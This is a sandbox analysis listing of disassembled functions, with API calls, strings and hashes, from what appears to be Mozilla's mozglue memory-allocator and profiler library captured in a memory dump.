memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9CC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9CC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9CC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CE472

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c216d3f853127872e498182a52b53461f5855394c01305c43767d95ea88e07b
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4433AF72E4021ACFCB04CF98C8806ADBBF2FF49310F298269D955AB755D731E945CB92

Function 6C97FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7B8), ref: 6C97FF81
LeaveCriticalSection.KERNEL32(6C9EE7B8), ref: 6C98022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C980240
EnterCriticalSection.KERNEL32(6C9EE768), ref: 6C98025B
LeaveCriticalSection.KERNEL32(6C9EE768), ref: 6C98027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C980D67, 6C980D7B, 6C980DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97FE99, 6C97FEB7, 6C97FED3, 6C980DB8, 6C980DD3, 6C9819B4
<jemalloc>, xrefs: 6C980D62, 6C980D76, 6C980DA7

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: bff5209f1f24d3b837af5885179f1916c71004dfaee46b9b21892dd2c0d8a24c
Instruction ID: 7b221d8877f1e3165e6fe206dcba36c739388148f35621d083aa014edaa9518b
Opcode Fuzzy Hash: bff5209f1f24d3b837af5885179f1916c71004dfaee46b9b21892dd2c0d8a24c
Instruction Fuzzy Hash: 2BC2C371A077418FD714CF28C880716BBE5BF8A728F28CA6DE4698B795D771E841CB81

Function 6C9CE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9CE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9CF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9D0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9D0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D0ED4

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8b80cfa7d9a3fd4bd3f8c8bd01c264476a501494412d1b614835f72794a4b636
Instruction ID: d58e5d8ab9321ed7b52198520c31a87bd4fa81117fa56b46f4c3302579944af9
Opcode Fuzzy Hash: 8b80cfa7d9a3fd4bd3f8c8bd01c264476a501494412d1b614835f72794a4b636
Instruction Fuzzy Hash: F1639C71E0065A8FCB04CFA8C8806EDFBB2FF89314F298269D855BB755D730A945CB91

Function 6C9A3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9C7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3E7D,?,?,?,6C9A3E7D,?,?), ref: 6C9C777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C9A3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9A3F5C
VerSetConditionMask.NTDLL ref: 6C9A3F8D
VerSetConditionMask.NTDLL ref: 6C9A3F99
VerSetConditionMask.NTDLL ref: 6C9A3FA0
VerSetConditionMask.NTDLL ref: 6C9A3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9A3FB4

Strings

nvinit.dll, xrefs: 6C9A4479
nvd3d9wrap.dll, xrefs: 6C9A4466

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 8e79294dc9d8b2558f488515e618c23241d44965d72f6e8b44dc368ea57dde05
Instruction ID: d9db2e05ad89c020ab18ab052545c808f936786bbbaa743fce39077269253844
Opcode Fuzzy Hash: 8e79294dc9d8b2558f488515e618c23241d44965d72f6e8b44dc368ea57dde05
Instruction Fuzzy Hash: 3B52F472611B848FD714DF74C880AAB77F9AF65208F14096DE5938BB42DB34F90ACB60

Function 6C98ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C98EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C98EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C991695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C991770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C991A3E

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 3a230924aab56fe7e041dfcb756e7988bdbb574b1a2e7d3a76833217185b93d3
Instruction ID: 58ac3c185a0790939abd79b3fb5da30e328770ff658ae87762a03b7effe701cf
Opcode Fuzzy Hash: 3a230924aab56fe7e041dfcb756e7988bdbb574b1a2e7d3a76833217185b93d3
Instruction Fuzzy Hash: BAB32A71E0121ACFDB14CFA8C890AADB7B6FF49304F1981A9D459AB745D730AD86CF90

Function 6C97FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7B8), ref: 6C97FF81
LeaveCriticalSection.KERNEL32(6C9EE7B8), ref: 6C98022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C980240
EnterCriticalSection.KERNEL32(6C9EE768), ref: 6C98025B
LeaveCriticalSection.KERNEL32(6C9EE768), ref: 6C98027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97FE99, 6C97FEB7, 6C97FED3, 6C980DB8, 6C980DD3, 6C9819B4, 6C981A10
MOZ_CRASH(), xrefs: 6C980CA7

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 8a685fee2c6a52d96f566c0bf1474ab2dac4b71d41e488a4b2facc62eba4fe64
Instruction ID: 7b8b8aaa097177d335eda028bfdcb606fb1684260865f104bf49e10d568d51a4
Opcode Fuzzy Hash: 8a685fee2c6a52d96f566c0bf1474ab2dac4b71d41e488a4b2facc62eba4fe64
Instruction Fuzzy Hash: 07B2C0716067418FD718CF29C590716BBE1BF8A328F28CA6DE96A8FB95C771D840CB40

Function 6C9B5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C9B6131
schema, xrefs: 6C9B606D
name, xrefs: 6C9B5E79, 6C9B5E8F
expected a Time entry, xrefs: 6C9B5CB6
ProfileBuffer parse error: %s, xrefs: 6C9B5AC8, 6C9B5CBB
expected a Count entry, xrefs: 6C9B5AC3

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: afa7780501a7864f5fdb5ed10959dd1737c1a39a329c80efeab0de8a0c9a14c5
Instruction ID: 7d003f8660a84b44d0618586ceae1dcae65d3a5396797a5e5eca18861ed5dbdd
Opcode Fuzzy Hash: afa7780501a7864f5fdb5ed10959dd1737c1a39a329c80efeab0de8a0c9a14c5
Instruction Fuzzy Hash: C8926BB1A087419FD724CF28C49079BBBE1BFD9308F15891DE599AB751DB30E809CB92

Function 6C9B2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9B2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9B3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B36BF

Strings

set , xrefs: 6C9B36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9B378D
get , xrefs: 6C9B3205

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 6bef3960a6bdda05fa4be7ef232fcfb35d24026afe602b5e218839815039843a
Instruction ID: d3226749d973220bd2d666b4a62b7fcccb49fc895fbf21b895538a076093b23b
Opcode Fuzzy Hash: 6bef3960a6bdda05fa4be7ef232fcfb35d24026afe602b5e218839815039843a
Instruction Fuzzy Hash: DB328EB0208781AFD324CF24C48069FB7E6BFD9318F54891DE599A7751DB30E94ACB52

Function 6C9A7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C9A8280, 6C9A83E1
schema, xrefs: 6C9A81E3, 6C9A8311
(pre-xul), xrefs: 6C9A7E88
name, xrefs: 6C9A7ECF, 6C9A8335

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: b416df43dd5ed532af6929753798ad700afc173e49fda19df7f253ed700febce
Instruction ID: 9d68f13aa6c3d4749f26215d8680c3b0c914c1e435646556d352cf76d0483218
Opcode Fuzzy Hash: b416df43dd5ed532af6929753798ad700afc173e49fda19df7f253ed700febce
Instruction Fuzzy Hash: 11E19FB1A043408FD710CF68884165BFBE9BFA9314F158A2DE895E7791DB70ED098B91

Function 6C98D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D4F2
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D50B

Part of subcall function 6C96CFE0: EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
Part of subcall function 6C96CFE0: LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D52E
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98D6A6
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D712
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98D7EA

Strings

<jemalloc>, xrefs: 6C98D827
: (malloc) Error initializing arena, xrefs: 6C98D82C

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: ba74b235e7a4429faefd7a8573a99aea96dd6470d23a1550a831f2623ee0a569
Instruction ID: aa36dea1bc415cec6ac9dc55b4b33a3a95915be77ebb6fc5544f70e4c791609c
Opcode Fuzzy Hash: ba74b235e7a4429faefd7a8573a99aea96dd6470d23a1550a831f2623ee0a569
Instruction Fuzzy Hash: E991C072A097068FDB54CF29C49022AB7E5FFA9714F248D2FE45A87B85D730E840CB81

Function 6C985E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2
memset.VCRUNTIME140(6C9C7765,000000E5,9EC09015), ref: 6C9861F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C987652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9872E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C98730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C987BCD, 6C987C1F, 6C987C34, 6C9880FD
MOZ_CRASH(), xrefs: 6C987BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9872F8

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 21f2b892cda81bbe3a3e103384874709048adbd7d17baddadad44e0807a037b4
Instruction ID: ef0e232994f97a4720211965b034ab0b2b3b809d56b292e660a808940fe7bba2
Opcode Fuzzy Hash: 21f2b892cda81bbe3a3e103384874709048adbd7d17baddadad44e0807a037b4
Instruction Fuzzy Hash: 92337C716167018FD308CF29C590715BBE2BF85328F29CAADE96A8F7A5D731E841CB41

Function 6C963480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C963492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C9634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C9634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C96350E
__Init_thread_footer.LIBCMT ref: 6C963522
__aulldiv.LIBCMT ref: 6C963552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C96357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C963592

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

Strings

kernel32.dll, xrefs: 6C9634EA
GetSystemTimePreciseAsFileTime, xrefs: 6C963508

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e420eb779241901bd7f3fb9bd330ba076284763eb4522cb2515681fa85d8833c
Instruction ID: 648fb938fede8a9c6fb3ecaed2b143ec0ed9b7b747dc9823ce8965afd75ab121
Opcode Fuzzy Hash: e420eb779241901bd7f3fb9bd330ba076284763eb4522cb2515681fa85d8833c
Instruction Fuzzy Hash: 2331C771B042099BDF40DFB5D848AAE7779FF6E708F24441AE505D3A90DB31D904CBA0

Function 6C9C4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9C4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4F2E
moz_xmalloc.MOZGLUE ref: 6C9C4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9C4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C52E6
Sleep.KERNEL32(00000010), ref: 6C9C5481
free.MOZGLUE(?), ref: 6C9C5498

Strings

(, xrefs: 6C9C5250

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 54e048a4752f7024aa293bb6fa67bc5032acd306c91a34d4f03200606b43e477
Instruction ID: 906b5c8a08bf72acfc951c83787694e70620791c3a60e6fdf97a3e14fa3afd2d
Opcode Fuzzy Hash: 54e048a4752f7024aa293bb6fa67bc5032acd306c91a34d4f03200606b43e477
Instruction Fuzzy Hash: 50F1A271A18B408FC716CF39C85062BB7F9AFE6284F158B2EF846A7651DB31D445CB82

Function 6C977810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C977885
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C9778A5
EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C9778AD
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C9778CD
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9778D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9778E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C97795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9779BB
LeaveCriticalSection.KERNEL32(?), ref: 6C977BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C977C82
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C977CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C977DAF

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: d22126c70770079dcdd4827d100e457dbbc1381ddc09a68813016c204bcb4de8
Instruction ID: ba170a5d3daaf6b335d6b3da00ff7b02fed92d99bee23564c8c0ce7ba07f244f
Opcode Fuzzy Hash: d22126c70770079dcdd4827d100e457dbbc1381ddc09a68813016c204bcb4de8
Instruction Fuzzy Hash: 1B027471A0521ACFDB65CF19C584799B7B5FF98314F2942AAD809A7701D730ED90CF90

Function 6C9C5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9C6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C96EE51,?), ref: 6C9C6046
OutputDebugStringA.KERNEL32(?,6C96EE51,?), ref: 6C9C6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9E148E), ref: 6C9C6091
